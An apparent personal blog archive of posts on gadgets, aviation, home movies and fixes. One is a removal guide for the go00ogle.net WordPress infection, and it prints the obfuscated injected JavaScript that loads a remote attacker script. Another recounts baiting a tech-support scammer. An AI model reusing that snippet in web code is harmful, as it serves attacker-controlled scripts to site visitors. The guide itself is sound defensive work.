blog.ambor.com

Fuel Economy Conversion Table - MPG / l/100km

noreply@blogger.com (ambanmba) — Thu, 29 Dec 2011 06:38:00 +0000

Having lived in the U.S. for the first 10 years of my driving career, I've become accustomed to thinking of fuel economy in terms of MPG (miles per gallon). Although I have been living and driving outside of the U.S. for more than 10 years I still have MPG stuck in my head. My cars now all indicate l/100km which is probably a better measure, but I still like to sometimes do a quick conversion to MPG. Our latest car is a Diesel and sometimes I'm up for a bit of hypermiling when I've got the whole family in the car and I don't want to listen to my wife complain about speeding. There are tons of online / offline / mobile ways of converting between mpg and l/100km, but sometimes the easiest way is to just have a table to look at.

From a quick Googling exercise, nobody seems to have made available an easy conversion table, so I cooked one up.

Click Here for a PDF file that you can print out and have handy in the car.

I've zoomed in to the particular range that I'm interested in (this is what I generally get with my car). If you have a gas guzzler or some fancy new eco wonder, here is the Excel file so you can modify the chart and make your own. Just set the axes you want, the underlying data is already in the spreadsheet.

Panasonic TX-66PW1050A Service Menu Codes

noreply@blogger.com (ambanmba) — Sun, 25 Sep 2011 04:05:00 +0000

Last weekend I bought an HD set top box for my old TX-66PW1050A CRT TV. The default setting of the set top box was 1080p and so when I plugged it in, I wasn't able to see a picture. I eventually used another TV to set the box to 576p but it now seems that the TX-66PW1050A has developed a really bad pincushion distortion as a result of the ordeal.

Turns out, I'm not alone (and here is another example). Doing a bit of searching around the Web I found various posts from people who had the same problem. Apparently, the TX-66PW1050A can be permanently damaged as a result of taking a 1080p input.

I wanted to see if I could fix this problem by accessing the Service Menu on the TV. This is the menu that allows for some fine tuning of the configuration that normally Panasonic would only want done by technicians. I soon found that it's impossible to find the Service Manual for this old model online (although strangely, other similar models still have their Service Manuals available). I was also annoyed to find that the codes to access the service menu on the TX-66PW1050A were not the same as other models.

Through trial-and-error, I found out some of the codes. As there was nowhere else on the internet that had this documented, the purpose of this post is to share what I know. The bad news is that I wasn't able to fix the pincushion problem, but I did learn a lot more about this model of TV than I otherwise ever would have wanted to!

There are two modes that might be of interest: Self Check Mode and Service Mode.

Self Check Mode: To access this mode, you need to press the VOLUME DOWN button on the TV (behind the flip down panel on the front) simultaneously with the TIMER button on the remote (which is behind the flap). It will momentarily say Self Check on the top right, the screen will momentarily go black and then you will get a screen that looks something like this.

Screen from Self Check Mode

As you can see, it passes the self check despite the obvious pincushion problem. The black rectangular box to the left of Option 9 is a mystery. This appears to be a "read only" mode, as you can't seem to change anything.

Service Mode: To access this mode, push the TIMER button on the remote to set a 30 minute sleep time (i.e. press it once). Then press the VOLUME DOWN button until the volume setting is at 0. Then press the VOLUME DOWN button on the TV simultaneously with the REVEAL button the remote (this is the button to the left of the 0 with the little plus inside a pictogram of a CRT). You will briefly see an informational display with the mode you are in and then you will see the screen as shown below.

Screen from Service Mode

In this mode you can scroll up and down using the arrow keys on the remote. You can also change the option settings using the left / right arrow keys, but after playing around with these, I couldn't see anything actually change in the image. I would be interested to hear if anyone out there knows what these options are. Incidentally, you will notice that these options are the same (except for Option 10) as what is shown in the Self Check mode above.

You will also notice CHK written on the top right of the screen. If you press the 1 or 2 button on the remote, you will then scroll (forward and backward) through different CHK options. You can then use the arrow up/down buttons to scroll through the sub settings in each CHK mode and then to actually change the settings you use the arrow left/right buttons.

Screen from CHK Mode 5

In the example above, we are setting the Gain. The default value is 56 (the pink number above the word Gain) and the current setting is 56. If I push the right button, the Gain increases. Some of the settings can go above and below 0, and other settings can only be positive numbers.

With these CHK settings, you can definitely see a change in the picture (they set things like colour, horizontal position, etc.)

Unfortunately, in the end I never did find the settings to fix the pincushion effect, so I'm afraid this TV is headed to next e-waste recycling pickup.

A Scambaiting Adventure

noreply@blogger.com (ambanmba) — Sun, 15 May 2011 10:55:00 +0000

This afternoon the phone rang with one of those phishing scammers (documented here, here, here and here) that tries to install malware on your computer or otherwise scam you. The last time they called, I didn't have time to mess with the guy, but this time I was prepared and had some time to burn. I had created a totally quarantined Virtual Machine sandbox for them (and me) to play with, and I was ready.

I mostly did this to appease my curiosity about how the scam actually works... I took notes and screen shots as it was happening in case you are interested. The story is below.

The scam starts with a cold call from a guy with a heavy accent who introduces himself as a technician from Microsoft who has detected a problem with my machine. He then confirms that I am running Windows XP and then asks me how long it takes for my machine to boot up. I tell him about a minute and he says "Oh no, something must be wrong - it should only take about 5-6 seconds."

He then tells me he can remotely diagnose my problem and that I should go to my machine and follow his instructions. I boot up the VM and we're off.

First he has me click on START and RUN and then load the Event Viewer (eventvwr.exe).

He then asks me to click on a bunch of things (Properties, and un-check Information/Success Audit/Failure Audit) to basically remove anything except the errors and warnings. He then asks me if I see any Warnings or Errors. Of course, at this point I can only see Errors and Warnings. When I tell him that I do he says "Oh my gosh, there is something wrong with your computer, you have a virus!" For those that don't know, this is a perfectly normal screen on a virgin new installation of Windows XP. In fact if you did the same on a system that's a few months old, you'd say many many more of these warnings and errors. Again, this is perfectly normal.

He then says to open up Task Manager to check the performance hit that I have from this virus. I tell him that the CPU usage is 2% (which is normal) and again I get a "Jees, that's bad" it should be 100%, but the virus has taken away 98% of the system capacity. He then asks for the size of my PF (PF Usage) which I tell him is 148MB and he says it should be 3000MB (3GB). He also says that the yellow line in the "Page File Usage History" graph should be blue - the yellow is a sign of a critical warning. Of course, this is all bullshit - in fact the Task Manager Screen is showing a perfectly normal system.

He then tells me that he understands I would be skeptical of his call and that I should go to http://www.desksense.com which is his company and I can see that they are Microsoft Certified. Look, there is a Microsoft logo on top of the screen. It must be true! Incidentally, the guy said that I could verify that it's him by calling him back on the phone number 0280144592. I didn't bother trying, but I would have imagined that such a large company wouldn't just have a VOIP Sydney dial-in number.

He also asks me to go to the Testimonials and Awards section to see how well regarded they are. The Awards are kinda funny, I'm sure you've all heard of these prestigious awards.

Now that I trust that he is from Microsoft, he tells me to go to http://www.teamviewer.com and install their remote administration software. He tells me that TeamViewer normally costs $150 but he is giving it to me for free as part of this service. He then transfers me to his colleague who then takes over the call.

I install TeamViewer and give him my machine ID and password. What bad could come of this? :)

He then uses these details to connect remotely to my computer so that he can control it. You can see he has full control.

Also, he does a bunch of talking during which other people also seem to connect to my machine. About 5 separate people connected to my machine while he was talking. Don't quite know what they were doing - maybe looking for some interesting personal files.

The colleague, who can now remotely control my computer, loads up prefetch (START - RUN prefetch) which will find the viruses... and WOW! I am infected by the Rundll32.exe virus and the Update.exe virus!!!!! OH MY GOD! :) Again, these are all perfectly normal screens. In fact, prefetch isn't even a program, it's just a directory.

He now tells me that he will "upgrade" my CPU to 100% and upgrade my memory to 3GB (which I will see in my page file). To do this, I need to go to http://www.logmein123.com and then punch in the ID 879463 (which is a top secret number that I shouldn't tell anyone... ooops, did I just reveal his secret?) and speak to Mark Brown who is the Senior Microsoft Engineer who will handle my case. At this point it becomes an online chat and I can't hear Mark Brown's voice, we only type to eachother.

Mark now has remote control of my machine and he then installs Mozilla (which he tells me normally costs $100) for absolutely free!

Then we go to http://www.gitsolutions.net

and he takes me to the pricing page where I need to pay $145 to go on... I humour him by going to the shopping basket stage, but stop when I actually have to put my Credit Card number in there.

This is where my "internet connection" suddenly went down and we couldn't continue. We had been online for just over an hour at this point and I think they really smelled the $145 because they went through great lengths to call me back and offered to check with my ISP about what's wrong. Anyway... I then got bored and closed it all down. This didn't stop them from trying to repeatedly call me for the next hour or so.

So... just saved you an hour in case you wanted to know how this scam works :)

I imagine the next steps are left to your imagination, but by now they would have full control and access to my computer and any connected drives as well as my credit card details and address info. All in an hour's work.

Incidentally, if you get a call like this, you can quickly shut the guy down by either saying you don't have an internet connection, you have a Mac or you left your laptop at work and don't have another computer. They will just quickly move onto their next target.

Can't verify your domain on Google Apps? Try logging out.

noreply@blogger.com (ambanmba) — Thu, 14 Apr 2011 09:28:00 +0000

There is a maddening bug in the Google Apps administration panel that I thought was caused by a bad implementation of their move from CNAME to TXT validation. It took me quite a while to solve until I saw a post from KrisThurston here: http://www.google.com/support/forum/p/Google+Apps/thread?tid=0e879c61fed11c0f&hl=en

Essentially, Google Apps will show that your domain is verified, but then keep asking you to re-verify it (even though it says it's verified). This also means that you can't use it with Google Apps (for example for mail).

The solution, as KrisThurston points out is to ensure that you are completely logged out of any other account you have with Google. The best way to do this is to actually just open up a different browser (using Firefox? then open Safari, or IE (or Opera or whatever)). Once I did this, I noticed that it asked me to validate with a different TXT code, but then it all worked. Thanks KrisThurston!

Logitech G500 Mouse rattle / jerky tracking

noreply@blogger.com (ambanmba) — Tue, 12 Apr 2011 12:27:00 +0000

I recently bought a Logitech G500 mouse and when I took it out of the packaging I noticed that it had a quite noticeable rattle (as if something was loose inside). Once I plugged it in, I realised something was wrong as the tracking was really bad (the movement was very jerky when I stopped moving the mouse). Also, shaking the mouse above the mouse mat made the cursor move.

I opened up the mouse (you need to remove the feet and there is another screw under the G500 sticker) and immediately realised that the lens in front of the laser was loose. The way it was mounted to the mouse was a very poor design in that it was essentially just floating in place.

I used a drop of superglue (cyanoacrylate) to firmly fix the lens and then tested the mouse - everything seemed to work great!

The next morning the scroll wheel stopped working. On investigation, as the superglue dried, it released fumes that had fogged up the optical mechanism that tracks the scroll wheel.

I returned the mouse to the vendor and then got a new one. The new one also had a loose lens with the same rattle and poor tracking symptoms. Either I had a bad batch, or this was a common problem. A bit of Googling and it turns out that this is a common problem (example thread below).

http://forums.logitech.com/t5/G-series-Gaming-Mice/G500-defective-lift-off-distance/td-p/520531

Rather than return the second faulty mouse, I decided to fix it with a less volatile glue (hot glue) and now it works perfectly.

If you get a mouse with this problem - it's probably best to just fix it... since your replacement mouse will probably have the same problem.

Keep the following tips in mind:

Carefully remove the slippery feet with a pocket knife. They will be easy to replace. You will need to remove all the screws under the feet.
Feel the G500 sticker to locate the hole for the last screw which will also need to be removed.
The top shell is attached to the main chassis by a wire (to connect the LEDs and top buttons). If you can avoid it, you should leave this attached - it's a pain to reattach it if you remove it.
Remove the screws that hold the rest of the mechanism together and you will find the loose lens.
Use a hot glue (or other non-volatile glue) to glue the lens to the circuit board. This is best done by gluing the plastic pins on the lens.
Reassemble and enjoy!

Google Software Update for Mac causing high CPU? Kill it.

noreply@blogger.com (ambanmba) — Tue, 12 Apr 2011 11:13:00 +0000

For some strange reason, Google insists that any Mac user running their apps (Google Earth, Picassa, etc.) must also constantly run the Google Software Update daemon. They install it silently in the background without asking and I have found this incredibly difficult to permanently delete, it keeps coming back! And worse, it sometimes can get stuck in a mode where it's churning the CPU on my Macbook causing the fan to come on and the battery to be eaten up quickly. Very annoying!
You can always go into Activity Monitor and kill it (or do it via the Terminal console), but it doesn't permanently get rid of it. I recently found a way to silence it permanently (even though it's still technically there).

To disable Google Software Update from checking for updates, execute the following in the Terminal application:



defaults write com.google.Keystone.Agent checkInterval 0

If for some reason you prefer not to completely disable it, but to lengthen the time interval between the checks, you can use the following command:



defaults write com.google.Keystone.Agent checkInterval [n]

Where [n] is the elapsed time (in seconds) between checks.

After years of just killing the app in Activity Monitor whenever the CPU went high because of the updater, I recently found a Google article which gave the above tip and also shows how to manually perform an update if you want.

http://www.google.com/support/installer/bin/answer.py?answer=147176

Hacking a Sony ICFCD3IP to change Time Format

noreply@blogger.com (ambanmba) — Thu, 15 Apr 2010 13:39:00 +0000

I recently wanted to upgrade my bedside alarm clock to one that had both an audio input and an iPod charging capability. I also wanted something small but with a large time readout and 2 alarms. I also wanted something that showed a 24-hour time format (instead of the 12-hour AM/PM format). The Sony ICFCD3IP (and it's less expensive brother the ICFC7IP) met all my requirements - EXCEPT that the ones sold in Australia were hard-wired to only show 12-hour time format. The same exact model of radio sold in continental Europe (though not the UK) has a 24-hour format. Searching Google didn't reveal anything so I went and bought an Australian model at a local electronics store with the intention to modify it. Long-story-short, after trying every possible "undocumented" button combination, I was hoping to find a "jumper" or something inside that would let me change the configuration. Instead I found a serial port (JTAG or other) which is obviously where the factory sets the localisation config into the device. At this point I gave up.

But for any of you out there who wish to hack / modify / convert one of these radios, you will need to work out the protocol used to update the config. The easiest way to open the device without leaving any trace is to start with the door (remove all the Phillips screws on the door and carefully disconnect the ribbon cable) then unscrew all the screws around the CD Player part to remove the cover and reach the serial port which is roughly behind the backup battery compartment. Removing the base then needs a further two screws behind the main circuit board and then several screws on the base followed by careful prying since the two pieces are also glued together. The base mostly holds the speakers, dock mechanism and radio circuitry.

EPILOGUE: As I was on a mission to get a 24-hour version of this product, I persisted beyond what a reasonable person might do. Via Amazon.fr I found a place in Germany (AVIDES) that would ship one overseas. Amazon.fr wouldn't ship the product outside of Europe, but AVIDES was selling ex-demonstrators and would ship to Australia. Coincidentally, since the AU$ happens to be very strong at the moment, the total price including shipping was actually less than buying it locally! Having received the device in perfect order (you can't even tell it's a "used" one) I am very happy with it. The European model has an automatic daylight savings mode (which can be disabled) that will not work in Australia because of the opposite seasons. Other than that, it's exactly what I wanted. As a bonus, the European version also has an expanded AM radio range.

Copy, Save, Transfer and Backup your Microsoft Office Toolbars

noreply@blogger.com (ambanmba) — Sun, 21 Feb 2010 07:25:00 +0000

I'm a very old-school user of office software (with my use of such tools going back to Lotus 123 3.0 and Wordperfect 4.2) who is definitely stuck in his ways. Heck, I've been using these tools for 20 years and other than the GUI change going from DOS to Windows there have been very few useful innovations to the core office toolkit.
Over the years, I have customised my Powerpoint, Excel and Word environments to the point that I've now basically reached toolbar perfection. And while I'm sure I might one day come to regret saying this, I see no reason to move on from my customised environment - "The Ribbon" be damned! (I still use the "Transition Mode" in Excel and still start all my formulae with @).
One of my (many) big complaints with MS Office is that there is no obvious way to save, transfer or backup the customised toolbars that I've spent years honing. The purpose of this post is actually as a reference for myself so that I can quickly get my optimised environment up and running when I'm away from my "home" systems.
The specific file names can vary depending on your configuration, but this is where you look:
Powerpoint: It's a *.pcb file (e.g. PPT11.pcb)
Excel: It's a *.xlb file (e.g. Excel11.xlb)
Word: It's stored in Normal.dot and custom toolbars can be copied from one template to another via the Organizer (Tools - Templates and Add-Ins... - Organizer...). Keep in mind that in Word customizations to the standard toolbars cannot be moved.
Use the Windows search feature to find these files, since their specific locations can vary greatly depending on the version of your MS Office installation.

What a difference 20 years makes!

noreply@blogger.com (ambanmba) — Sat, 23 Jan 2010 04:24:00 +0000

Recently I saw a couple of YouTube videos from Phillips Academy High School students [here] and [here] that blew me away (the second one has a slow intro)...
In 1990 when I was at PA, I enrolled in a course on Computer Art. I don't remember the exact name of the course, but it was taught by the late Diz Bensley who was at the cutting edge of teaching art with computers (in those days, calculators were still banned in math class).
In that course, I created a video entitled Orbs Ex Machina (click to view it) as my final project. Seeing the modern YouTube videos, I decided to dig out the old tape and upload it to YouTube for comparison. Obviously the picture quality has degraded substantially over those 20 years of storage on a VHS tape from Kmart.

For those interested in the equipment I used, it was shot on a Panasonic PK-957 video camera that used a pickup tube instead of the current CCD technology. The video was shot onto VHS tape and then the graphics were overlaid on my own Amiga 2000 and an Amigen Genlock. I also used the school's 286 Zenith "IBM AT Clone" fitted with a Truevision Targa Board.

The video was shot entirely on the Phillips Academy campus (at the mail room in GW Hall and outside Kemper Auditorium - neither of these two areas exist anymore due to renovations).

Configuring a Buggy Cent-a-Meter

noreply@blogger.com (ambanmba) — Sat, 17 Oct 2009 05:42:00 +0000

I recently got a free Cent-a-Meter from the City of Sydney as part of their Household Energy Consumption Trial. It's a great little device that displays instantaneous energy consumption. It's essentially like a little portable electricity meter that gives you a live view of your consumption with various views based on cost / greenhouse gas emissions / raw Wattage / etc.

The device came pre-configured from the City of Sydney, but when I had to change the time due to the Daylight Savings change, it lost all its settings and then wouldn't let me program any of the settings - they simply wouldn't "save" to memory. Instead it just kept reverting to the default settings. I followed the instructions (located here) verbatim, but the settings simply didn't stick.
Annoyed, I kept playing with it until I found a solution. Apparently, it doesn't like it when you change too many settings at one time. Instead, if you change 1 setting at a time, go through the full menu (using the MODE button to reach the END of each section and hitting SET) and save, then it will stick. This makes it HIGHLY cumbersome to re-program, hopefully the manufacturer will fix this in future versions.

Leopard Free Screen Recorder

noreply@blogger.com (ambanmba) — Fri, 07 Aug 2009 11:59:00 +0000

Just found a fantastic (and free) screen recorder for Mac OS X Leopard. Don't know why this thing isn't on the first search page of Google! There are tons of pay options, but this has everything you need (click record, and it records the screen). Like good Mac software, "it just works." Download it here: http://www.juniortan.com/Public/Berio.html

How to remove a go00ogle.net infection from your WordPress blog

noreply@blogger.com (ambanmba) — Sun, 26 Jul 2009 03:46:00 +0000

An old high-school buddy of mine in Korea was tearing his hair out trying to remove the go00ogle.net malware script that infected his Wordpress blog (http://www.feetmanseoul.com/). It's a nasty little bugger and one that's not obvious to remove. As of this writing, the script is new enough that there aren't any "how to" guides to remove it. Thanks to a rainy afternoon with nothing else on, I've documented the removal process. Hope it helps!

What you will need:
1. The Firefox Browser
2. The AdBlockPlus plug-in for Firefox
3. A text editor (I used TextWrangler)
4. An FTP client (I used Fetch because the guy is from Dartmouth)

First, confirm that you are infected. Using Firefox go to the page that you think is infected (in my friend's case it was every single Wordpress page including the Admin Dashboard). Then, using AdblockPlus select "Open blockable items" per the image on the left.

If you are infected, you will then see http://go00ogle.net/if.php as one of the scripts (just like in the picture below). You will probably see a bunch of different scripts compared to the picture depending upon your particular configuration (Wordpress version, Plugins, etc.). You can click on the image to enlarge it.

Once you've confirmed that you are infected, you will need to find which of your scripts is calling up the malicious script. Because the little evildoers are a bit sophisticated, you won't simply be able to look at the Page Source, instead you'll need to wade through all the other scripts on your page. The easiest way to do this is to load each script by loading the full URL into your browser and searching through it.

With AdBlockPlus, right-click on each script (except http://go00ogle.net/if.php), and click Open in New Tab. (You can enlarge the picture below for a closer look).

You will see a whole lot of what looks like gobbledygook, but what you're looking for is the code below:

function advQuery(){
  var Host="http://google.com/";Track="/if.php";get=unescape("%6E%65%74");
  document.write(unescape("%3Cscript src='"+Host.substr(0,9)+unescape("\u0030\u0030")+Host.substr(9,5)+get));
  document.write(unescape(Track+"' type='text/javascript'%3E%3C/script%3E"));
 };advQuery();

In my case it was a bit more nicely formatted as per the picture below (click to enlarge).

An easy thing for the bad guys to do is to change the code slightly to make these instructions no longer valid - therefore they may change the above text slightly so it's not exactly the same. [Update]: Looks like they've already begun to modify it, see the comment from 12 August below.

In my case, the infected file was podpress.js, but this won't always necessarily be the case. Since writing this I've heard of someone else having their load-scripts.php file being infected instead.

Update I have now also found it on another site embedded in a theme file (/wp-content/themes/dilectio/dilectio/javascript/tabs.js).

Per the screen shot of AdblockPlus below, I now know the full path to the infected file (click to enlarge)

So then it was just a matter of using my FTP client to download the file, remove the offending bit of code with my text editor, save it and re-upload the file back to the server.

It's a pretty simple fix once you know what to do... but the discovery process was a bit tougher. Hope this helps.

ContempOT - A new Wordpress Theme

noreply@blogger.com (ambanmba) — Sat, 04 Jul 2009 11:20:00 +0000

Click Here to Download

I've been helping someone move his website from Cutenews to Wordpress. Wordpress is a great Blogging platform and the guys that created it also have a service called Wordpress.com whereby they host your site for free; however, you have very little leeway to customise the themes they offer.

My friend became quite attached to the Contempt Wordpress.com theme which is a variant of this Contempt Theme. The available versions of Contempt; however, miss an important feature - the category listing. After messing around for several days, I realised that the only option was to write my own variant with this feature.

On the right is a screenshot (click to enlarge) of what the category listing looks like. It's basically a listing of all the articles in a category. With ContempOT you get this type of listing whenever you select a category, author, archive, etc. Without this feature, most themes will give you the full text (or partial text) of each article. This causes a problem when you have hundreds of articles in each category.

So, if you're interested in trying it out - You can download the ContempOT theme by clicking here.

In case you're wondering how I got the name for the theme, OT are the initials of the site. If you want to see a live example, click here.

Budapest 1948 - Home Movie

noreply@blogger.com (ambanmba) — Sat, 20 Jun 2009 08:06:00 +0000

The image to the left is a frame capture from a movie I recently uploaded to YouTube (Click Here to View). It's been converted from a 1948 film reel shot by my grandfather showing life in and around Budapest shortly after the end of World War II. The image is interesting because it shows the destroyed Széchenyi Chain Bridge as seen from a car traversing a temporary bridge over the Danube. Although all of Budapest's bridges were destroyed by the Germans during the Siege of Budapest, the Chain Bridge is one of the city's iconic structures and it's still shocking to see it destroyed.
While on the surface, the people in the film seem to be living relatively normal lives, if you look at the background you can still see a lot of rubble from the war. What you cannot see are the mental scars from the brutality that all of these people would have gone through only a few years earlier.
I cut the nearly 25 minutes of film footage down to about two and a half minutes to show life across four seasons of 1948. The film is set to music from an old 78rpm record sung by my Great Uncle, Miklós Vig, who unfortunately did not survive the war.
The footage includes the following:

View of Széchenyi Chain Bridge (0:10)
May Day Celebration with Rákosi spelled out by marchers (0:21)
A walk around Pest (near V and VII district?) (0:35)
A boat ride on Lake Balaton with a view of Tihany Abbey (1:17)
The Budapesti Állatkert (Budapest Zoo) (1:31)
A view of Svábhegy (Schwab Hill) (1:41)
The Gyermekvasút (Childrens' Railway) (1:48)
Ice skating (unknown location) (2:01)

High Quality 8mm Film Conversion

noreply@blogger.com (ambanmba) — Sun, 14 Jun 2009 12:38:00 +0000

Those of you familiar with Sydney may wonder how I took a picture of the Opera House surrounded by cranes. In fact, this is a screen capture of a film shot in 1969 during my father's visit to Australia (click for YouTube link).
For the past several years I've been progressively digitising all our family's old media such as slides and VHS tapes. Doing so provides easy access, easy duplication and an archive that will not degrade in quality over time. The entire contents of my "family archives" fits neatly on a 1TB disk.
The biggest challenge in digitising old media is finding the equipment to play it. Fortunately for most media such as VHS tapes, audio casettes, slides and even vinyl (or shellac) records, it's quite easy and inexpensive to convert them at home. For audio sources, you can typically plug the player (e.g. Walkman, record player) into the Audio-In jack on your computer in conjunction with some free software such as Audacity. For the video sources you can use a fairly inexpensive video capture card. For slides, there are several inexpensive slide scanners.
When digitising the media, I highly suggest capturing at the highest quality possible. The price of digital media will only go down which means the cost of storage will go down. Digitising at a lower quality will just mean re-doing all the work later when you realise you'd prefer higher quality.
For the media mentioned above, you can do it yourself or pay someone to do it. There are many services that take old media and convert them. Essentially this is simply a time trade-off since the quality of a "professional" conversion is not materially better than you can do at home. You are just trading off time for money.
When it comes to 8mm or Super-8 motion picture film the story changes completely. The equipment required to capture the film at high quality is very expensive and would be uneconomic to buy for a conversion of the "family collection." Converting at home usually means projecting the image onto a screen and using a video camera to record the images. The problem is that the frame rate and picture size (aspect ratio) of film is different to modern video and you will be doomed to a poor quality image. The "correct" way to do it is to individually scan each frame and then digitally convert all the frames into a movie. This basically cannot be done at home.
I discovered a place called DVD Infinity which has a proprietary technology to transfer the movie frame-by-frame. They are not cheap, but the quality is incredible. As an example, I posted some clips from a reel taken in 1969 from Sydney onto YouTube. This 40-year-old reel has been stored like most family reels - in a closet, then in a basement. Time hasn't been kind to the colours, but compare this to some of the other 8mm conversions on YouTube to see the quality difference in the DVD Infinity conversion process. Things to notice are: 1) The image is uniformly bright and goes neatly to the edge of the frame with no vigneting. 2) The image does not flicker. 3) The image does not appear to move forward and backward (due to 'slack' in the projector).
I do not work for DVD Infinity, nor do I personally know the owners, nor do I have any commercial relationship with them - just a very happy customer.

AirNZ's First 747-400 to be scrapped - My memories of ZK-NBS

noreply@blogger.com (ambanmba) — Sun, 31 May 2009 06:10:00 +0000

I recently read that Air New Zealand's first Boeing 747-400 (ZK-NBS now 19 years old) will be sent to the scrap yard. In fact, it is the first 747-400 of any carrier to be 'scrapped' - every other -400 built is either active, stored or has been written off (like this one). This marks the beginning of a long sunset for the iconic Boeing 747-400.
I've only had a brief encounter with ZK-NBS, but it was one of my more memorable flights. On July 28, 2001, I left Sydney on a round-the-world ticket headed for Los Angeles and ultimately New York to attend my brother's bachelor party. The plan was then to continue to Atlanta the following week for the wedding and from there to Moscow to attend MAKC and then back to Sydney. Settled into my comfy seat, the trip progressed smoothly for the first 8 hours. Then, lightly dozing in my seat, I noticed that we were making a fairly wide left turn. I first thought we were going around some weather but soon I saw this on the screen and knew something more complicated was happening. I also noticed the flight attendants walking down the aisles and row-by-row waking people up to tell them something. When they got to me the story was that an engine had to be shut down and that we were diverting to Auckland. The stated reason was that Air NZ had a maintenance facility there (but didn't want to divert to HNL instead?). Then another couple of hours into the flight heading back the wrong direction, I see this on the screen. Several things were going through my head, but one of them was that AKL was no longer our final destination. The captain then came on and said that due to the strong headwinds we would no longer have enough fuel to make it to Auckland (nor back to Sydney). So, off we went to Nandi, Fiji (NAN) - landing there after nearly 14 hours of flight time (in 14 hours we could have made it to LAX in the first place!!). The landing was smooth as silk and gave no hint of being done on 3 engines. We were greeted by Fijian customs who set up 2 lanes for "Fiji Citizens" and 2 lanes for "Crew/Other". As there were no Fiji Citizens on board, 2 of the customs guys had a pretty easy time watching everyone else go through the other customs line. That night we all split up and were sent to various resorts on the island. I was also to miss what turned out to be an epic bachelor party in New York. The next day we were told that the engine could not be repaired and that they were diverting another plane from AKL to pick us up. It turns out they sent two (the AKL-HNL flight and the AKL-LAX flight). The passengers on those two flights were only told of their side-trip to NAN after they had departed AKL and were not too happy to meet us in NAN. The other issue was that NAN didn't have enough supplies (or maybe there was no time) to fully cater the aircraft and that night we left NAN bound for LAX with just chips and Coke for the entire flight. Having an entire day in Fiji was fun (but not as much fun as the bachelor party turned out to be) and I managed to also get a few pics of the plane being repaired. Including this one as I boarded the replacement flight to LAX. A little while later (late September 2002), ZK-NBS had another in-flight engine shut down and someone from the NZ Herald newspaper tracked me down based on my photo on airliners.net. Apparently ZK-NBS had (according to the reporter who contacted me) "a string of safety incidents." They bought the rights to use the photo and also interviewed me for an article with the catchy headline "Third air scare for jinxed jumbo jet" (see the full article here), but never used the photo. Ahhh fame, I hope I didn't let it get to my head.

A glimpse of the Moscow Metro

noreply@blogger.com (ambanmba) — Sun, 03 May 2009 04:36:00 +0000

Over 20 years ago, in one of my Doherty Jr. High Social Studies classes I remember Mr. Eiserman mentioning the Moscow Metro and showing us a picture. I don't even clearly remember the topic of the class, and it may not have even been Mr. Eiserman's class, but the picture of the metro stayed etched in my mind and has since been a source of fascination ever since. I'd been to Moscow (including the obligatory rides on the metro) on a number occasions since then, but never with any sort of camera equipment that would work well (and discretely) in the low light of the metro.

Click here to see a photo album that shows some of the incredible architecture of the stations themselves. I don't even know if you're allowed to take pictures, so these were all done fairly discretely - so excuse the poor composition on some of them.

YouTube video demonstrating the frequency of service. This is a 4 minute clip, see how rare it is to have no trains at the station.

YouTube video demonstrating ridership. This is how you get 7 million people per day through the system.

The metro is a true work of art built during a time of rapid development of Soviet society. Moscow was intended to be the capital city of the world proletariat and as such needed an efficient way to carry the millions of the city's workers. Today's Muscovites (7 million of them a day) travel on the nearly 300km of track across 12 lines and 177 stations of the system. The Soviet leaders also wanted to use the metro to show off the great artistic skill of its people to the outside world and also to celebrate their achievements with the people at home.

The operational scale of the system is impressive. On average across the network, a train arrives every 90 seconds. In practice, downtown stations have an even shorter headway. There are timers on the ends of the platform that indicate the number of seconds since the last train's departure - so you always know how long you're likely to wait. Check out the video below:

For further reading, I recommend a great book I found titled simply Moscow Metro (isbn 9785984010030). It's in English and has the history and photos of most of the stations. Of course there is a ton of information on Wikipedia, but not so many photos.

Aeroflot Tupolev Tu-154M trip report

noreply@blogger.com (ambanmba) — Sat, 02 May 2009 06:29:00 +0000

For several years I've been looking for a chance to ride on a Tupolev 154, but living in Australia there aren't so many opportunities. Therefore, on our recent trip to Russia I took care to chose specific Aeroflot flights between Moscow and St. Petersburg to ensure a ride. While both our flights were originally booked on Tu-154s, an equipment change meant that our SVO-LED fligth was on one of Aeroflot's new A320s. Fortunately the return flight was on a Tupolev Tu-154M (reg: RA-85765).

The entire Tu-154 experience was like going back in time about 30 years. This included the sights, sounds and smells of air travel. The Tu-154's three Soloviev D-30 turbofans make an incredible sound and the first two videos capture the sound nicely. The landing video also has the sound of the incredible racket that the thing makes on the ground. This is mostly from the poorly secured internal furnishings. It's also interesting to note that one of the over-wing exits is sealed shut. From the exterior it looks quite dodgy, but if you look at the safety instruction card, it's a documented feature.

To jump straight to the pictures, click here to access the slideshow.
To see the in-flight video, click on this YouTube link.
To see the landing video, click on this YouTube link.
To see the ground equipment, click on this YouTube link.

I have to say that both of our Aeroflot flights were comfortable and on-time with a full meal and drinks on the short hop. This is in contrast to what I've now become accustomed to on the low-cost-carriers I take for similar short hops (SYD-MEL, SYD-BNE, BOS-RIC).

For further reading about the Tupolev 154 series, there is a great article here.

Photos from Avalon 2009 - The Australian International Air Show

noreply@blogger.com (ambanmba) — Fri, 20 Mar 2009 19:59:00 +0000

Last weekend Nick and I flew down to The Australian International Air Show at Avalon Airport outside of Melbourne. By Sydney standards it was a chilly day and the incessant wind and intermittent showers put a bit of a damper on the show. Although the F111c which was going to be one of the show highlights couldn't fly due to the weather, the Jetstar Airbus A320s that we used to fly in and out of Avalon operated without any problems. I have put together a photo album from the trip which has some neat shots in it (including the F/A18s in the photo at the top of this article). They had the usual "crowd pleasers" like the jet-powered truck, a guy on a jetpack, an Interstate S-1A-65F landing on a moving truck, etc. Other interesting aircraft included the still experimental Boeing 737 AEW&C (N361BJ) of which the RAAF is the launch customer; the brand new Boeing 777-300ER (VH-VOZ) of V Australia; the RNZAF Boeing 757-200 (NZ7571) which made an impressive flying display and on which I managed to sneak aboard (on the ground, of course); a stock standard Boeing 747-400 (VH-OEG) of which I made a nice shot of a cross-wind takeoff; a rare commercial example of a McDonald Douglas KC-10 Extender of Omega Air (N9754VV); the Lockheed L1049 Super Constellation (the only example still flying); a bunch of USAF planes that flew-in including a C-5B Galaxy, some B-1B Lancers and a C-17 Globemaster III that demonstrated its impressive short field performance. Overall a great day.

HD Video on Canon Ixus 110IS / Powershot SD960 IS

noreply@blogger.com (ambanmba) — Thu, 12 Mar 2009 09:53:00 +0000

